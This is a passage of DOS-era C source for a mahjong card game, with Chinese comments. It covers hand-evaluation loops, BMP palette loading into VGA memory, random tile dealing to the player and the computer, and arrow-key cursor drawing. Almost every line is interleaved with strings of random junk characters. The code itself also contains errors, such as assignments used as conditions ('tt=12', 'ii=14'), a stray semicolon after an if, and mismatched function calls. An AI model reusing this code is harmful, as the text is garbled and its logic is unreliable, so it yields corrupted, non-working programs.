4 I  m# ^9 @# g0 x* u8 ?- [{if(kl==i)( t3 s$ F/ C/ k8 K0 x
{
1 k7 ^5 B- `. Z3 l# K; Dkl=kl+2;
  J3 N5 |# r8 [$ E+ k. t1 fif(kl==8)6 i" I% V! s. Z0 e2 ]- W
break;. |4 R2 H4 A. t% p3 R  p, }8 Z
}/ p( I- m" Y6 C1 ^( n
test[ill++]=pt[kl];9 \$ C/ _# Y' }3 e6 v4 I$ T! \
}5 x* S9 g" L  d( q& g- H) g
isthree(test,tt-2);
" u, W8 D2 _1 {* L}" q+ L. q6 R5 }/ h8 Q" G
} 6 J1 V% k" d0 @& t0 S
else if(tt==9)
+ c( t8 ~6 \0 F& ~% K& \8 n: {isthree(pt,tt);) K8 M% Z. j% i- ~* \
else if(tt==11)
) R4 a& H1 W" N, i* ~for(i=0;i&lt;10;i++)
% E, y. l% K2 Y/ F6 a7 Z{; y9 W  R  H3 \& e0 w% H
for(j=0;j&lt;2;j++)$ v! d# Y0 I! O, b9 w9 \1 G
{test[j]=pt[i+j]; , B0 J# K/ o$ E
}
( Q6 \$ f& j! q9 I& _8 P4 \if(istwo(test))
& {7 V3 {7 K! B$ ~$ G{ ill=0;
  ^1 V6 i+ k5 B0 n) P4 Yfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/! J. x  a7 s% {9 Y: s) a# {
{if(kl==i)
4 w) X0 c! \& I9 g{
6 f% k$ m' H3 Q6 w+ Skl=kl+2;8 C" U: _- k# e9 Y* r
if(kl==11)
! }, z) s* a4 B! J$ abreak;
0 S3 U) P7 Y, {4 N% j}
+ e4 Y% T4 D9 _2 w  Wtest[ill++]=pt[kl];+ O" l! Q0 B+ U+ E) T# }" x; t1 ]
}( g. Y4 j: P8 K
isthree(test,tt-2);
7 R, }7 y, N& l8 f9 I! a) ?$ n0 g7 t}& q" `/ z0 e  ^$ j5 m
}0 X4 z: B0 _2 R! K1 W
else if(tt=12)! ~9 q! [4 O! e- h2 u1 `
isthree(pt,tt);, o% j5 m& d1 u
else if(tt=14); J9 ^; R+ }6 j/ s
for(i=0;i&lt;13;i++)
$ ^2 Z) v+ A* C: K{) T0 x: M- x# v8 V' C; j9 r
for(j=0;j&lt;2;j++)+ h* ~$ ?2 D$ }4 B6 g: T
{test[j]=pt[i+j]; 9 x: s! H1 I% N% O8 o0 L/ [
}
3 U# G$ {$ o7 qif(istwo(test))$ z/ T6 M6 O5 q! E: i' d
{ ill=0;
" a7 Q/ V3 ^, g" mfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
" K7 ^; J- M- v; ^{if(kl==i)$ y, W" H% [5 C* c, I" O6 e
{
1 Z4 j5 Q9 x/ X) }/ nkl=kl+2;# T. R! M! ?1 x; j0 T  m3 r
if(kl==14)
5 [6 {* J, g7 q5 z, Lbreak;" c& c4 i1 o3 s5 C1 k) n3 e
}
8 K, g- l6 M5 ?9 U7 htest[ill++]=pt[kl];% R5 f9 x$ u# x8 R# V/ b$ l
}/ h6 x4 S6 d1 g7 H1 t
isthree(test,tt-2);
5 G- Q( i8 q& ]2 B}! Q) [( h3 b* O5 ?8 O
}5 d/ E8 n4 K* B; a; H
if(ii==2)
; k: |' l) e2 bistwo(pi);7 @2 g6 i: z+ t
else if(ii==3)
, o+ x$ A* r* L( d* y, qisthree(pi,ii);8 A* ^6 k0 q# s$ i# a6 b( E  J
else if(ii==5)& [- B) R5 E& \: y
/*pi[5]原始牌数组,假设已经升序排列*/
! I1 `0 o( j+ n' Q0 X  R/*test[3]用来放置测试牌的数组*/9 j( b3 C' F4 f0 i4 k4 F
for(i=0;i&lt;4;i++), H/ W' m1 `2 F1 X& v; @
{; E7 S/ ~* l9 F0 t  K0 p
for(j=0;j&lt;2;j++)
3 g; H9 r! h' v; Z{test[j]=pi[i+j]; 5 p- M2 i7 t. B# D1 L/ A6 e/ u
}$ I& ]- a/ c, D$ r) F
if(istwo(test))  O- `- y+ I1 O' W# J# z3 m
{ ill=0;: g; |$ S& c3 j  S1 A3 o" i
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/2 X1 K. H4 o" i! f3 v
{if(kl==i)9 |# h+ Q2 h: Z+ K' J0 y2 ]
{
- u; Z% Y6 _* j. O. |kl=kl+2;
) h: K: o3 s/ H4 |4 rif(kl==5)0 }+ i- t2 L$ u5 o3 t
break;/ F: r9 Q* m! Y( ]
}
# [+ s* a  M! u# l1 ?: Xtest[ill++]=pw[kl];
: J2 L2 s* b- n9 Q$ L* Z}- C- ^+ d0 B" `! z3 G  t
isthree(test);0 d2 E) r3 ~  j. u
}
  l" ?# g5 Y; [5 W# @% I( T6 d$ W}
) E) U$ [/ B6 g& c1 Selse if(ii==6)
  p3 q7 P5 `$ o  |isthree(pi,ii); # {5 ^- q9 `7 h; i: n
else if(ii==8)
# \3 J; a, X2 w0 M' T: N  ~for(i=0;i&lt;7;i++)
& J2 u  u6 Y, X* l{
- B- P6 z* m; xfor(j=0;j&lt;2;j++)
0 `$ u, R; Q4 J: k% {- b2 x* w{test[j]=pi[i+j];
8 h) r  H0 z* _8 a& \/ s}! O6 r# R- E6 s7 Y2 {3 j& }
if(istwo(test))" A' K% y4 h' x
{ ill=0;* o+ m, \5 `' r0 K! b# B% }! B
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/* [5 o& ]) Y* H. K5 r, O
{if(kl==i)/ q2 L% J/ M% Z) o9 ]
{2 s/ l. m: x' @. h
kl=kl+2;
$ D6 M  l+ Y2 K, L4 A. Bif(kl==8)3 {9 q! `+ C" ?6 X
break;
5 t9 H  h3 X, g4 b6 _3 a' S( E& t}5 i$ d/ C" |/ E. Z6 _- t
test[ill++]=pi[kl];5 j+ R& P; {- D) j; l
}
% Q. g. [* l1 visthree(test,ii-2);4 O! W( ^5 ~" D/ `) q+ a
}
4 Y% s" z) {: N4 M% ^} $ d/ n' _& J" G/ |! }
else if(ii==9)! m/ U3 M" F, {' e" t% o, S
isthree(pi,ii);
2 R1 `, K# [: Z2 g1 a2 D5 yelse if(ii==11)
! E+ T+ g) B( j% kfor(i=0;i&lt;10;i++)4 Y7 r1 r4 U" |+ `; N, \
{3 A4 ?% S: s5 q6 }
for(j=0;j&lt;2;j++)
2 U; n! j4 Q, E' d{test[j]=pi[i+j];
0 ~, r( w  M) r8 [& q& i}
# q/ Q; G" ?0 o" fif(istwo(test))* D; j7 b4 c, }) ?' Q5 z
{ ill=0;
3 P4 E' z, R  ?. @for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
. _  R- _5 ^$ N3 b{if(kl==i)8 n1 s- @8 E8 O* m4 M# H8 b4 R
{# J( M4 ^7 o& v" J* R; z- s
kl=kl+2;+ t3 {! t) [+ w3 W: ~# u/ m
if(kl==11)
2 d5 p0 J" C, Y# j' Z/ w4 kbreak;; Y: W6 V9 l. H5 I+ `/ D( Y
}2 Z% A' }- Z$ u9 P: k
test[ill++]=pi[kl];
; v8 r' _! M& Z/ l9 w: _8 J}
+ P/ i, D' d6 _+ S4 T6 {isthree(test,ii-2);
: q; j, k, p3 R7 {7 I" ]( I}$ g% h7 p; r8 u
}
( I- }3 `: e$ @& y7 W5 melse if(ii=12)
  a0 [# y' ^: |0 G3 |4 w- K. S' iisthree(pi,ii);
: `. Y  W* m. ]else if(ii=14)
* G8 O* [" Y9 A2 q3 ~for(i=0;i&lt;13;i++)0 @" ?& H4 G  b8 V
{( [% T  `6 o. |5 z
for(j=0;j&lt;2;j++)- {: m7 R) r  U; n' t: N$ E& o8 g% `# w
{test[j]=pi[i+j];
4 ^$ P  E! A: Z4 ~; _; r" H* F9 `! {}
) J/ ?" r, z% j2 ?/ C1 g; Rif(istwo(test))
' X2 j" s+ }4 l& ?" n% s7 }{ ill=0;# g4 E) k* X: W/ m5 S
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/2 K5 v" c5 w6 L5 I* K7 X7 S( r
{if(kl==i), T! ~  J, h5 ~* e" i1 H
{( z7 t- B+ P; W3 k) r8 T5 ~7 _
kl=kl+2;3 g- h( D0 j) v; W- N
if(kl==14), w8 b3 e3 B" a% _5 t4 h
break;
, O- {/ O) t& V7 ^( Y) j4 {* ^  y, \}1 e, ?# M& G0 @
test[ill++]=pi[kl];
* P2 a$ k. Z, t; n}
* S2 ]1 q* [; w  |. ]; Bisthree(test,ii-2); / a% }/ s7 Z9 G( w/ B1 b2 e. {/ j
}4 p1 E; G8 J  t, x
} 1 x4 h# ]' k0 Z$ k
if(ff==2)
' V& B0 U2 D" i/ Vistwo(pf);8 }4 e9 v0 Z* r6 q& u  Z
else if(ff==3)
' C2 _7 E  l9 y  c, L+ N- w; f+ \isthree(pf,ff);
; v. C- ]' t# C. z2 Xelse if(ff==5)/ o; b- {- g5 x. B+ r6 Q
/*pf[5]原始牌数组,假设已经升序排列*/
& C% K2 o+ @( E: g, [3 u/*test[3]用来放置测试牌的数组*/- h3 @6 s, B* g$ l9 E$ f+ l
for(i=0;i&lt;4;i++)% Q' A5 ~! ?$ b% A  P6 O
{  R; V) i6 ^: W& m
for(j=0;j&lt;2;j++)
' b9 H( }1 i7 c& s. _. D' @{test[j]=pf[i+j];
5 w9 |- Q, I# X9 s. P+ `& K! s}
* b, g: Z$ z4 r& Wif(istwo(test))9 v/ X. K8 O% q! ?4 D  }8 ?
{ ill=0;
  }( a4 {9 v6 L: U8 Cfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
: M. y. |, _+ O/ c) r5 f: j{if(kl==i)% U7 R3 Z' A( @/ E, h$ N( b8 R
{
+ n4 R" q9 {1 o4 a1 H' [+ I; `kl=kl+2;
. W% _* T* u9 F& G2 qif(kl==5)
! J+ P) E1 I3 ^4 c+ O9 u6 Ybreak;
, V- \3 E% {  @6 \2 w3 a( T4 }}
9 N& z5 |0 Q% a  gtest[ill++]=pf[kl];
1 y$ {! N) o, H" f8 Y3 q4 }4 p}, h+ Z1 H" J% ~; k4 B9 I2 ]& d3 i
isthree(test);
* r; x7 t# ]- h+ n* W1 }}
3 K' Q! P( M; O$ y: k}* H/ z/ _/ e( h: H
else if(ff==6)# N+ p! f* S5 m8 x
isthree(pf,ff);
  ~! y& y" [5 w/ n7 xelse if(ff==8)- c7 C& a0 q/ }
for(i=0;i&lt;7;i++)
- [5 Q5 g6 P( e' ^# m5 ?- q1 D& h{/ M7 m, J5 R* b
for(j=0;j&lt;2;j++)
+ F* b. p" g* M{test[j]=pf[i+j];
0 n8 C" ]0 n6 u+ k0 q}
; ~+ g$ p: D4 {7 }if(istwo(test))
* U& c/ Z: g2 N1 G' ?8 _- i8 Q8 Y{ ill=0;2 O% c0 j& x& H: ~' N! u
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
* a6 W' Y: R: D+ {) Z1 p{if(kl==i), N4 Q3 W  ^0 ?1 U# A% n
{6 F5 J0 {- Y6 u- |4 S, h1 }6 G
kl=kl+2;# i' e' ~& s. {8 H
if(kl==8)2 j2 q; D  d- u; Y* h: a
break;' `- w3 v; ]' G* T' T* _& {  _
}3 R4 C' A. E7 F5 x" U
test[ill++]=pf[kl];
5 [+ y2 H- \4 [+ c7 S  [7 `}
0 p; F7 Z- j! N" f4 Qisthree(test,ff-2);
4 j, r% r( y: u+ }}
5 C0 ~, j8 X) I, }7 i8 n}
+ N, q; ?: u8 r3 U# H$ kelse if(ff==9)
7 Z8 J: b' H: R  z2 zisthree(pw,ww);
: H* X# x0 g* w, h. Eelse if(ff==11)
8 K/ {: z9 l! I& N9 {4 v/ T+ H* a" Xfor(i=0;i&lt;10;i++), T" j6 e  F. W2 P. x  T
{
1 K" {& z  n( G/ @/ qfor(j=0;j&lt;2;j++)
# P4 c5 m. s( y- n; U1 q{test[j]=pf[i+j]; 5 s$ W3 n4 @0 T3 b0 `# O- z' f
}
# T# f  C6 m  o9 Y4 fif(istwo(test))  T! |( a* q3 Q7 ^& t7 C( t$ c
{ ill=0;* X9 z2 c% {5 c; k+ J$ O9 \3 y/ x. U
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
: K! F2 e, D0 ^8 C# A{if(kl==i)4 E3 p5 @! [2 Y! B
{
% K! F; C# ?- Y# Y; {5 |kl=kl+2;% K9 Q. E& A' H- R0 }9 f% _8 J
if(kl==11)- X: i( i" p; b; K- [! S% d
break;. I: L% ^$ W* G7 ^" B; X4 @
}! s, v% ^8 @6 X' |* I) {
test[ill++]=pf[kl];. t: }! |" D  N; d8 D7 t
}- Q* Q2 I. H: q% t$ v
isthree(test,ff-2);
. ~4 m' O6 s" |0 F7 f}
# z; d; N8 V$ x  e5 ]' F. H. D}
0 I* W+ ?& R, A3 r9 D$ ~# I) aelse if(ff=12)' W" x  F5 s& o* [& h: X
isthree(pf,ff);
$ K) H+ j. W, L/ nelse if(ff=14)4 O* ^9 M8 c5 w
for(i=0;i&lt;13;i++)
& s& f6 W" Q! M& K{
  f; E+ h: P% |6 @for(j=0;j&lt;2;j++)& S! c2 f$ J. L; }+ S2 r1 z7 i
{test[j]=pf[i+j];
0 _' m+ `9 [0 J% x- Z4 ]}
4 A7 q  i' U! U9 {. t  o' T2 uif(istwo(test)). K6 e7 Q  f- @# B0 z" v) L
{ ill=0;
3 Y" e8 t- k0 ^* R" e4 Q3 y4 p4 ^) tfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
' ]* n7 c9 }! x( i{if(kl==i)! z, ]) {- o: a9 v1 ^
{
$ l. v, a$ u1 Y: i2 ~) k3 \kl=kl+2;7 O' D4 |6 w0 o( g' _
if(kl==14)3 ^! x0 V: p7 H. b1 ?; u8 p
break;
  ]- l8 |1 f4 a8 q- U. m$ s}7 ^) ~8 ]9 a/ [1 F/ L2 R
test[ill++]=pf[kl];( B2 n+ [0 L  O! ]4 @6 B
}
- l7 @1 u7 a6 A: Y1 C  G+ {# `isthree(test,ff-2);
" h! C% q* F. d}
1 P8 p# N4 w9 S( h4 r! K}
$ t+ Q0 I2 @0 a. b) z}7 P5 c; m1 f! E  H8 K& q1 ]2 O
void main(void)6 c! H6 \% F5 u; _& X5 I
{2 F. }2 O5 y4 K6 U
FILE *bmp;( n( s# W; h$ F5 A* i6 A: Z) i+ z
static char *name[2]={"ff.bmp","logo.bmp"};
6 t  N8 t( ~8 M2 A9 Z- U: cchar *p;' I* ?) v, X# {4 Y6 p; y9 ?
int *lingshi;& a" \+ c: L( Y) V6 r6 Y4 l
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
$ ]1 f5 L" g2 h1 e3 Vint every=0,w=0,x1,x2,y1,y2,every1=0;
" h! b  `: y" y% W  c' s; ^int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
+ N$ P* y* D- j; ]BYTE palette[256][3];6 @" \8 r5 u, L9 }8 ]2 T( D1 @
SETVGA;
% T$ `8 V9 |( j% K0 Ugetch();# Z) U# ^, u! ~5 L  K
while(t--)4 M  {: i" v0 `
{& S$ Z0 _% J4 A5 V3 X) O
bmp=fopen(name[t],"rb");. z6 V  i- r0 A4 n
fseek(bmp,54,SEEK_SET);
/ W, J1 a/ r2 E' J# f( a6 zfor(i=0;i&lt;256;i++)9 T( C+ G* }1 o3 p+ c
{
8 {2 X) ~, F/ ?9 n9 d% {palette[2]=fgetc(bmp)&gt;&gt;2;
- B. j$ V; o- mpalette[1]=fgetc(bmp)&gt;&gt;2;
& R: }. ~5 |4 h8 Hpalette[0]=fgetc(bmp)&gt;&gt;2;4 \( W( B  v+ q
fgetc(bmp);" ?% S6 b/ F1 A$ l, v9 @
Set_Palette(i,palette[0],palette[1],palette[2]);- f! \8 ^" D* h) m5 ^! b
}
9 `& ]4 f# S; h( w0 k; U1 |: Kfor (y=0;y&lt;200;y++)
% p# ?" G  M  j5 E$ V( |. Nfor(x=0;x&lt;320;x++)
7 f  n$ U/ z) P4 spokeb(0xa000,y*320+x,fgetc(bmp));1 A5 X8 \% X9 R
fclose(bmp);( T0 T, ~: g  ]6 V0 l
getch();1 j# Q: n6 O+ |; K9 e
}
  d! E% v. n* ~getch();
* t/ @( T$ X2 t- EfillRectangle(0,0,320,200,0);+ y" L" I) C) i. {4 k" d8 P% A
getch();
1 Z" S7 e1 Z" x$ X' T1 Z6 W* zrandomize();( k8 f, d( K1 p9 l+ V
me.m=onetothirteen;
1 }) x4 m* g, P2 ~while(me.m&gt;0) /*先循环,给自己拿牌*/
! G/ I( P% U2 A9 {4 W{
/ ?7 {3 i1 F. j/ T' ?0 ?7 m6 ]. w
temp=random(136);
! v: @- }$ W6 l3 {& wif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)1 ~% r; y3 e; M( f/ w+ p
{0 D; D. m- V' m+ `! Z/ K
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
* s/ n2 Z, k7 w( g% ]8 O: [4 vme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
; W+ {7 B7 l0 jme.pp[n].number=temp; /*第几张,用来排序*/6 \* c. k- k- Y% e9 Q+ ~
m[temp].data2=1; /*判断牌是谁的*/
; |" R2 Y2 y9 s+ fkk=1;5 m2 C& s0 f% U7 `
}2 \7 k' @2 K8 P4 D, v& Z' a9 v+ a
if(kk==0) /*判断如果又选择了,就从新再选*/
! e6 n8 Q8 T* p% g{
  k. U6 ?; A$ z+ Sme.m++;( b# C6 t# d% h  e( M# {
n--;
  y+ h6 W8 _3 O4 j3 {7 r9 e* n7 ]}
& X0 ^7 i& w8 G0 T5 C( @3 L% ime.m--;) g' X  p( t: T4 D0 ^, S
n++;
+ k0 w8 C3 r7 Jkk=0;
5 k  c: g5 q3 m, q; P1 @4 g- S}( l. @3 o1 X% D  K" C
me.m=12;
% S5 g1 ]# L& Y7 Smelipai(); /*理牌*/. x& n3 p+ }( I% o& z
$ p2 @# O% w2 u: W6 q
n=13;
9 R: r8 S7 ^  N1 [6 Ywhile(l&lt;n)
. X+ B( E( x. w& b: T{
2 s) x4 j# J6 w3 K& vz=z+20;  |: {8 d* |8 O; V! G& s
showbmp(l);* M7 O( G& _, X; l) a
l++;
; ]3 k$ [1 [, R* p3 {" z1 ^! I* d
}
9 U& w8 {/ K" K0 _" k' }randomize();' `5 z8 f! d. j/ |" V
computer.m=oneorthirteen;- g% e  G9 m9 U9 r3 G; N6 i/ g
n=0;
! f$ [* Q( A% j; w) L3 ?/ b6 U% ?3 i" mwhile(computer.m&gt;0) /*循环,给对方拿牌*/
% o& w, s5 e8 u8 e7 j{- F  I. m0 s+ J% H5 F8 k
temp=random(136);( B1 C6 O1 Z; [- D6 m
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
, E! X" c) }" W; j{8 t% `) J3 d  v7 x8 o, D
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
' v2 h6 \6 i+ I/ `  k4 U# _) H( ocomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
% U- u) l; H. z: Z, n% _0 R" q- q# [computer.pp[n].number=temp; /*第几张,用来排序*/5 X% H1 ^7 i/ w" ?9 Z# g! [
m[temp].data2=2; /*判断牌是谁的,2为电脑*/5 y- S- u" C- d* B
kk=1;& P4 @1 E2 T& d+ p& |8 s& D
}
2 `1 D1 R! y/ z! F% r. Vif(kk==0) /*判断如果又选择了,就从新再选*/
5 @$ n- `2 ?6 E5 c{
4 R8 W" n! ]: F3 Qcomputer.m++;
. z! k. ~2 T: h8 ]! an--;  z: H# J! i+ ^) X) D6 J
}
( Y# }3 k+ ~- ecomputer.m--;
6 h& ^6 f! G( N# T  ^* @n++;
! u& e0 G, g. R7 R+ x' D* ^kk=0;: h# c! y9 y0 f7 H  }( W9 [5 U
}
& D3 U8 H0 C  B: c0 ^* ]6 [computer.m=12;9 X* T8 @5 x  b
comlipai(); /*电脑理牌*/8 F4 W; C- m$ b! \* V8 i
n=13;
2 S- a/ q* X% ^- j% Owhile(ll&lt;n)* b$ L. Z/ n7 |' z9 M, D
{- v) }' X. Y, }4 e- R9 S. |
zy=zy+20;
" N6 m# o! s6 ?/ zshowybmp(ll);
% K- x! Z; w: o  |: T' zll++;
7 F- l& `7 x* p) H5 A% i}' D* T& v& S; m5 z# G
% b: Q4 u/ a" [
z=54400;* r4 J" r$ p; V5 v% q% G
while(key!=ESC)
2 l% [* E. |( g) U1 }0 V. E4 f$ X{ / p5 O2 i0 c; G) u

' Q( d. p% L* ?1 S4 nkeyy=bioskey(0);' e' j6 @6 G/ H0 h
if(keyy==LEFT)
/ b5 y6 x, X7 I0 W/ P{ w=1;, o; A* y, ]/ r% ]5 s. f- y
if(every==0)
7 w! G6 p# n8 r{
* I; F  g$ @% Revery=1;( m; }& ^( n/ M$ N7 i
z=54440-5*320;
7 R. C& s# l4 q
% Q3 z7 i8 s  S  ~# G) V4 ^5 a}
0 D9 ]: K0 @: e3 m0 H. C& {1 pzz=zz+5*320;
! v2 ^% E- Z) h" x0 e5 {showbmp(every);  H( w0 K3 O5 |9 Y. n
if(every==0)) a$ N4 V5 _. `% O; v
{
* S3 S1 @0 p8 C' a3 T# h6 v0 Hx1=20;
3 j% l3 A! [0 P" I2 g8 zy1=165;4 E6 n  Y0 l" g. o0 O5 [( e
fillRectangle(x1,y1,x1+20,y1+4,0);
: Y& h' A6 z( F! x- M2 T}
5 t! N1 u* E6 P4 O8 `+ K) Nif(every==1)
! y( h- k. ]& Z( q; m  g+ h  R; g{
7 p4 R1 d1 s- D% s! w/ F# \( L9 Kx1=40;" Q+ k) D, p# K: f
y1=165;
9 ~6 D  t; B4 D7 HfillRectangle(x1,y1,x1+20,y1+4,0);
% w0 }8 u+ F$ Q}
; Z' [+ s7 |# Q* W+ ~if(every==2)
3 j) d" |% e5 j: h; O{
) k' H( K: S* |! d. @x1=60;: X& s# k" ?8 T: q
y1=165;) u* d0 b* H- b. g7 ]; d, d
fillRectangle(x1,y1,x1+20,y1+4,0);4 \! u1 C7 I: K9 G! Z  u' ]" U
}
! U; Y- R, o0 r) k" n: |7 S+ Rif(every==3)/ [' M2 u  X  Z4 G% l) t
{
& r) M* G+ ]" d' C2 Ox1=80;
" D5 Z: T# f# |5 M' y3 hy1=165;. r. N/ x. J& E5 Y1 o+ S
fillRectangle(x1,y1,x1+20,y1+4,0);
$ Y1 |2 |# d7 k1 [7 l) }+ }}( K) B+ `: l' U- B- E, {
if(every==4)
3 D  s* z) z3 q4 u2 A* x- A{4 M1 W" Z2 m0 |3 b6 p, s
x1=100;
. u9 V3 h4 d( k# A; Sy1=165;
4 s/ ^) U1 W7 w7 I' ^4 NfillRectangle(x1,y1,x1+20,y1+4,0);
+ a. j% K, Q0 `) l}$ Z% V9 D+ R( ]
if(every==5)
6 d- T+ @  z: l. P" D{) d3 C, m% ^0 o; Q; l
x1=120;/ m0 b- w+ p. u
y1=165;4 C! a4 B' M, R
fillRectangle(x1,y1,x1+20,y1+4,0);1 V5 ^& ~! E/ D8 k4 N, y
}
* g* G3 Q; V4 W  [2 U& C* |if(every==6)- J2 l- E; ~$ a. V; j
{, ~$ Q8 ]+ ?! S2 E3 `7 W
x1=140;
5 l% i5 z$ ~# h9 y( `/ B# \y1=165;' y( Y3 Z4 B' \( i! j4 H6 V4 p3 r
fillRectangle(x1,y1,x1+20,y1+4,0);
  B( N% Y5 D2 |8 d}4 E# r( ?2 X  ?. A" {
if(every==7)
1 l0 r# Z/ H. s2 M0 w5 T' F{" p! }/ E, y6 h# E
x1=160;
8 S3 q7 Q8 e: d* N4 ~y1=165;9 [9 n  v9 U0 [6 N2 O
fillRectangle(x1,y1,x1+20,y1+4,0);! |. W5 }5 r" J4 ~( k: w
}
) m1 ~8 B5 N# F% x% Yif(every==8)
; X' p" G3 W4 p8 @9 a8 t* _2 s{+ M+ f0 i7 E+ S6 d& |& Y
x1=180;
, h; F3 v+ ?; ~0 ^% K8 s( fy1=165;
5 A' @& @! Y# ?. P  E( gfillRectangle(x1,y1,x1+20,y1+4,0);
, E1 E6 A8 i: y( H' z}
) G5 V3 }' J1 K9 s% sif(every==9)
8 d+ u' W9 ?+ l, I{$ n7 L0 h5 v/ Q6 F( W; v3 x6 K
x1=200;
1 A' Y9 D2 g$ hy1=165;
9 B/ R0 Q6 Q' c1 c$ z3 U7 e/ FfillRectangle(x1,y1,x1+20,y1+4,0);
2 E$ h0 c. c: a9 R}
4 S) T1 M) L0 R- v5 o4 Z7 n3 cif(every==10)
. J1 k0 ^1 O6 P! ]. O) o/ w# A{
# m# g4 ^% O2 E8 _0 N! `x1=220;
! [5 I; M% `: i* l5 {y1=165;2 H* i6 R% Y! ]+ B: a5 o
fillRectangle(x1,y1,x1+20,y1+4,0);8 H/ c( L- t; Z  b/ _0 U; d- c/ U6 e
}+ M: M; a+ l  t* d8 e4 a" A
if(every==11)
1 V' H- ^) a- C( I( j; ]5 F4 s3 V) z& m{
7 m; j) x; o/ W; m+ o- {1 xx1=240;
0 [) w% V4 C" _y1=165;8 [) P2 ~! Q6 O4 p# n+ f# F7 w
fillRectangle(x1,y1,x1+20,y1+4,0);4 v: i2 [0 c) N
}% f" W& m  {% k$ H# ]& m
if(every==12)% g% q" x8 b5 h
{
4 r) Q& F, o- T% g- H7 rx1=260;
. b: X3 H: v+ X& ky1=165;
! i1 w) S9 f0 m2 OfillRectangle(x1,y1,x1+20,y1+4,0);% A9 o: k4 k7 O- N0 k
}
; L& r: U6 v( O8 c  Dzz=0;7 j! R/ M6 z3 ?, {7 D0 G
every--;/ k" [' K5 D% O
z=z-20;+ d5 X1 f( I9 r% _8 i3 I0 D0 T
}
1 t% C, W/ X7 ]" A. xif(keyy==RIGHT)- p$ e3 t! Q0 N* t+ Y/ {
{ if(w==0)
0 ?. |" d0 K' V0 \4 @{
) B6 N  B& D( Y: I8 p: ]z=54440-5*320;9 F3 k4 y3 [* G" c  n7 }
z=z-20;
/ J& j% f/ [/ F% mw=1;
. W0 r" M/ h# F3 m2 |3 m}/ x: K9 l# ]2 S% a1 o' O9 g5 [
if(every==12) ( [5 j- L% ~7 P) w
{
& E, D$ B& ~- P/ |every=11;$ Q! x- o. p! j( f7 g& T$ P
z=54640-5*320;% ~7 X  ]& K; U6 c3 m8 I* Z
}% {4 Q  W0 b0 W8 M) A) G
zz=zz+5*320;
; r4 e+ a* j1 }$ bshowbmp(every);
* L& A& ~! o8 }* v8 Gif(every==0)
: ?- P2 E1 e3 B6 p: D' {{
/ U" x2 [' A/ `  j- S5 @( Lx1=20;. q; l/ w& n% C$ a. x4 |! j
y1=165;
: `1 L$ ]% k  G# Y8 U: P+ C5 _% wfillRectangle(x1,y1,x1+20,y1+4,0);, x, r: w5 K' r1 @, @
}2 E" ~) {+ r9 V" r. ^4 o
if(every==1)( P/ C1 l0 S% A5 m0 c4 ?
{
% b# {2 M" d" j: [x1=40;
& U9 A$ S  T" A- D9 K. h/ Ay1=165;
" r5 n% \9 }+ O8 I  H0 C/ bfillRectangle(x1,y1,x1+20,y1+4,0);
2 o; r4 P8 e. K: y0 J& [}
& ^1 r1 r/ O4 y  N' nif(every==2)- |) T( l4 T9 P7 P$ p
{
) z1 @- p- _: a/ Y8 d) tx1=60;
7 s0 y  ?) S& z1 {, U, dy1=165;5 _( N7 I+ i3 Y9 c
fillRectangle(x1,y1,x1+20,y1+4,0);& L$ R! ?1 Q6 i6 e; s
}6 Y# x1 n- e& S* w- u: w
if(every==3)
8 e2 `# K9 \0 R5 P4 |1 }& A{; r/ Z7 X& e6 S. I
x1=80;
) n9 v' R+ O" N" W5 ?) Xy1=165;; h, ]" d* v3 Z# @" w3 o
fillRectangle(x1,y1,x1+20,y1+4,0);* u/ y% X7 Y4 i3 E
}
2 Q; W* M& b% g$ I" gif(every==4)
" \" `# q. S+ R0 s! t; q. l{
1 }8 S& s' ]; Y! v" fx1=100;
* e9 Q0 K; s4 p3 B) `1 }% Yy1=165;/ j1 S! g# \) e
fillRectangle(x1,y1,x1+20,y1+4,0);( ?0 I) n1 k6 ^; h: F1 U
}2 g6 o& X$ ^2 \, \$ b$ ^" I( {
if(every==5). Z0 d" O, m( l8 E- h. A
{0 }! b+ j* x: N$ g" X! x
x1=120;
  l/ Y6 i- L' k% w  w0 I$ C0 s* Ay1=165;
: i( D( s! Q, z% Q% A( ~# ffillRectangle(x1,y1,x1+20,y1+4,0);' }5 D. A5 e( L1 p0 ^' O
}
6 X! d, O3 S. r. ]if(every==6); \9 Y3 p/ f' l) C! j# Q# [* v- c. ^
{
! q4 f- [) Y1 W  Q! j; @x1=140;
/ s3 f' }! B1 e( |y1=165;
5 ]3 _: F( \3 @) S. w1 s, YfillRectangle(x1,y1,x1+20,y1+4,0);2 o' Q& H" l  U  D4 A8 d
}1 d7 I7 I& U, W3 |% z
if(every==7)5 h$ u0 c- p5 k
{% N% x4 @  e7 l0 N, a3 d$ {: y
x1=160;
4 t9 l( F1 \* F, e- y. P; Gy1=165;, r. X6 j7 \8 h# D4 e; p0 p
fillRectangle(x1,y1,x1+20,y1+4,0);
/ r, l4 i: P8 S" S}
" u) Q$ K& l' G% kif(every==8)
! c1 D/ s! u$ i( S9 X{
* A+ C8 U( Z- wx1=180;4 G% m, B1 U/ `* `7 p( t' y* F7 X
y1=165;
/ K% Y8 ^! t2 ~0 p& X$ T- z- afillRectangle(x1,y1,x1+20,y1+4,0);
+ W0 m' P$ c7 R( k6 {}
( e# W4 {' j6 h5 Y6 s1 aif(every==9)4 O& v4 y2 q) F7 q
{* g( j. S/ A8 E9 `6 M8 ^
